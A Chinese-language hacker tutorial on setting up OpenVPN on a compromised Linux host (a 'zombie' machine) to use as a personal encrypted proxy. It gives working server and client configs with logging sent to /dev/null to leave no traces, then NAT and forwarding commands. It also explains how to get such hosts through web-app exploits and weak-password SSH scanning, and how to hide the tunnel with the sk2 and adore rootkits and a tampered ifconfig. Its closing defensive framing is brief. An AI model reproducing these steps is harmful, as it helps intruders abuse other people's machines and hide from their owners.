一、背景
對VPN的分類什麼的有個大概的了解,知道是個大概怎麼回事,如果不大清楚的朋友可以Google一下。本文就不對這些內容進行具體的介紹了。
目標系統:Red Hat Linux 9默認安裝。
二、需求
說白了就是用肉雞做加密代理。
1:對系統盡可能小的改變,包括添加文件和系統日志,因為我們用的是肉雞。
2:是client-->server的模式,而不是net-net的模式,浏覽網頁而已。
3:無論server還是client都要配置方便,簡單好用,我們要的是快速。
三、選型
1:*swan
A:ipsec vpn的代表,默認端口tcp/udp 500。
B:優點:加密強,對網絡游戲什麼的支持好(我們用不上)。
C:缺點:部署麻煩,配置麻煩,關鍵是他的nat-t,就是nat穿越功能需要打內核補丁,重新編譯內核才行,這事在肉雞做不得。大概的說說swan系列吧,最開始是freeswan,然後大概在2004年停止開發,衍生出openswan和strongswan兩個分支,openswan發展的不錯,strongswan連個rpm包都沒。swan系列分兩塊,一個是用戶空間程序,一個是內核空間程序。內核空間的包括模塊和補丁,大概就那麼回事。就是說,要做到nat-t,就需要用戶空間程序,lkm和內核補丁,需要重新編譯內核,這個我們在肉雞沒法做。還有他要用root運行。
2:pptpd
A:pptp vpn的典型代表,默認端口tcp 1723。
B:優點:Windows帶了他的client,安裝也方便,就幾個rpm,配置也不難。
C:缺點:一撥進去他就會改缺省網關,很煩,要麼撥進去自己route add/delete幾下改改,一直別斷開,看個網站犯得著那麼麻煩嗎。
3:openvpn
A:SSL VPN的典型代表,默認端口tcp/udp 1194。
B:優點:簡單好裝,一個rpm搞定,要壓縮的話多一個lzo的rpm包。配置也是簡單的很,就生成一個static.key,還可以chroot,並且可以以nobody運行,肉雞的安全也是很重要的,保管不好就被搶了,不過chroot就沒必要了,有興趣的朋友可以自己搞搞。一下把要的東西都丟到一個地方然後加上配置文件就差不多了,再改改啟動腳本。
還有就是撥進VPN之後,他不會改你默認網關,免去了折騰的煩惱,我們可以把sf.net的地址加到靜態路由去。
在server那邊只需要開一個udp or tcp端口就可以了,不怎麼需要去動別人的iptables。
C:缺點:除了要額外裝一個client之外,相對我們的需求來說基本沒什麼缺點了。
四、開始
1:安裝client and server程序
[root@RH9 root]# rpm -ivh lzo-1.08-2_2.RHL9.at.i386.rpm warning: lzo-1.08-2_2.RHL9.at.i386.rpm: V3 DSA signatur E: NOKEY, key ID 66534c2b Preparing... ########################################### [100%] 1:lzo ########################################### [100%] [root@RH9 root]# rpm -ivh openvpn-2.0.7-1.rh9.rf.i386.rpm warning: openvpn-2.0.7-1.rh9.rf.i386.rpm: V3 DSA signatur E: NOKEY, key ID 6b8d79e6 Preparing... ########################################### [100%] 1:openvpn ########################################### [100%]
2:服務端配置
[root@RH9 root]# cat > /etc/openvpn/server.conf
dev tun
ifconfig 10.8.0.1 10.8.0.2
secret static.key ;
user nobody ;
group nobody
port 3389 ;
comp-lzo ;
;keep alive
keepalive 10 60 ;
ping-timer-rem
persist-tun
persist-key
;no-log ;
verb 0
status /dev/null
log /dev/null
log-append /dev/null
server配置完畢。
3:客戶端配置
安裝openvpn-2.0.9-gui-1.0.3-install.exe,然後打開“開始”--“程序”--“openvpn”--“Generate a static OpenVPN key”,這會在C:\Program Files\OpenVPN\config下生成一個叫key.txt的文件,把他重命名為static.key。
然後把這個文件復制到linux肉雞的/etc/openvpn/static.key去,最後在C:\Program Files\OpenVPN\config目錄下創建一個叫client.ovpn的文件,內容如下
remote 肉雞的IP
dev tun
ifconfig 10.8.0.2 10.8.0.1
secret static.key
port 3389
verb 3
comp-lzo
keepalive 10 60
ping-timer-rem
persist-tun
persist-key
client配置完畢。
注意,無論是服務端還是客戶端的IP,都不要和系統有的IP段沖突,另外改了端口需要在client and server都改一致。
4:啟動並連接
A:啟動服務端
[root@RH9 root]# /etc/init.d/openvpn start
Starting openvpn: [ OK ]
這個時候理論上會發現多了一個接口,等會我們要收拾這個口子。
[root@RH9 root]# ifconfig tun0
tun0 Link encap:Point-to-Point Protocol
inet addr:10.8.0.1 P-t-P:10.8.0.2 Mask:255.255.255.255
UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
[root@RH9 root]# netstat -an grep 3389
udp 0 0 0.0.0.0:3389 0.0.0.0:*
這個時候理論上會起了一個3389的udp口,如果這兩個事情都有了,那就好了,一般除了RP有WT之外,這裡基本都不怎麼可能出現錯誤。
如果有錯誤的話,就把上面的
verb 0
status /dev/null
log /dev/null
log-append /dev/null
改成
verb 9 status /usr/lib/0 log /usr/lib/1 log-append /usr/lib/1
然後重新啟動openvpn服務並查看日志,注意,這個時候messages會有日志,調試完畢記得刪除/usr/lib/0 /usr/lib/1。
B:啟動客戶端
“開始”--“程序”--“openvpn”--“OpenVPN GUI”,連接服務端,點右下角紅色的圖標--connect。圖標變綠,就是成功連接並分配到地址了,注意讓你的防火牆通過。如果沒變綠色,從那個圖標那view log,如果發現不到問題,就把client的配置文件的verb設置為9,重新連接,再看日志,再google。
C:檢查連接:
在client裡看到有這麼個信息
Ethernet adapter 本地連接 4: Connection-specific DNS Suffix . : IP Address. . . . . . . . . . . . : 10.8.0.2 Subnet Mask . . . . . . . . . . . : 255.255.255.252 Default Gateway . . . . . . . . . : C:\>ping 10.8.0.1 Pinging 10.8.0.1 with 32 bytes of data: Reply from 10.8.0.1: bytes=32 time=7ms TTL=64
連接沒有問題,這個時候就根據個人的喜好,是改默認網關還是只根據目的地址route add一下了,如果肉雞速度快的話改默認網關吧。
C:\>route delete 0.0.0.0
C:\>route add 0.0.0.0 mask 0.0.0.0 10.8.0.1 -->注意,是vpn server的tun0的地址。
如果DNS服務器不在內網的話,自己再route add一次DNS的地址就OK,如果想長期生效,可在route add語句最後加-p參數。
D:服務端打開轉發
做個nat,但注意一下eth0需要是可以去外網的接口,否則等會數據走不出去,如果肉雞是單接口的話就不需要擔心。
[root@RH9 root]# iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE
再看看轉發開了沒
[root@RH9 root]# sysctl -a grep net.ipv4.ip_forward
net.ipv4.ip_forward = 0
我們把他打開
[root@RH9 root]# sysctl -w net.ipv4.ip_forward=1
5:找錯
VPN一般出問題就只有三個地方,client的防火牆,server的防火牆,和轉發開關是否打開,所以我們在服務端抓抓包就完全可以找到出問題的地方。ipsec pptp都可以這麼找錯。
A:在server的tun0口抓一切包,以檢測client-->server是否連通,當然,一定是連通的,否則那圖標就不會是綠色了。
[root@RH9 root]# tcpdump -n -i tun0 tcpdump: listening on tun0
B:在server的eth0口抓目標地址包,以檢測轉發是否有問題。
[root@RH9 root]# tcpdump -n -i eth0 dst host baoz.net tcpdump: listening on eth0
C:
這個時候我們telnet一下baoz.net看看
C:\>telnet baoz.net
兩邊都看到有包就對了。如果有一邊看不到包,就自己折騰一下好了。看看一路過來是不是都沒搞錯。
五、肉雞中的隱藏
1:肉雞哪來?
A:web app漏洞,awstat什麼的,沒事就留意一下milw0rm.com的webapp部分,出新漏洞了就google hacking一把。
B:ssh or telnet弱口令,沒事就找幾個A BLOCK掃掃看。推薦xfocus冰河的X-Scan。
C:0day eXP ? 這個我就不清楚了。
D:蜜罐,上面三種情況都可能是蜜罐,不過沒關系,就做個代理上上網嘛,蜜罐就蜜罐了,只要網速快就行。
2:日志
日志的處理上面在服務端配置部分已經提到了的,小心處理就是。
3:進程、端口和連接
A:sk2一裝,用sk2的client進去啟動openvpn,動態隱藏進程端口和網絡連接。
B:adore,大概要改改才行,不過我暫時沒這個需求,sk2已經很不錯了。
C:shv5,最近抓到的一個rootkit,替換ELF文件的,很容易被查出來,沒啥意思,他的特征是默認有個/usr/lib/libsh目錄。
4:ifconfig
這個是最關鍵的也是最麻煩的,因為一般的人都會ifconfig敲著玩玩的,一不小心就會被發現多了個tun0。呵呵,我想了想辦法有兩:
A:使用awk or sed腳本替換/sbin/ifconfig,過濾掉tun0相關的輸出,但這個比較容易被chkrootkit這樣的東西發現,不過即使被人家用chkrootkit發現了也挺光榮的,至少用chkrootkit的人還稍微比較專業點,總比被人家ifconfig發現了好。
B:修改ifconfig的源程序,讓他輸出的時候不顯示tunX設備,這個相對穩妥,因為一般檢查ifconfig都是對比那混雜模式而已的,當然還有文件類型。
[root@RH9 root]# rpm -q --whatprovides /sbin/ifconfig
net-tools-1.60-12
查了一下,在這個軟件包裡,想改的自己可以改改,不想改的就去找找有沒人改好的現成的了,就當留給我和各位有興趣的朋友的家庭作業好了。
六、寫在最後
信息安全是一把雙刃劍,自己知道了可以盡可能怎麼攻擊,該怎麼攻擊,其中會有什麼地方可以被發現,才有可能知道了人家想怎麼攻擊,會怎麼攻擊,也才有機會發現入侵企圖或入侵者,進而把入侵者趕出去或攔在門外,否則被人家root了幾年還不知道怎麼回事。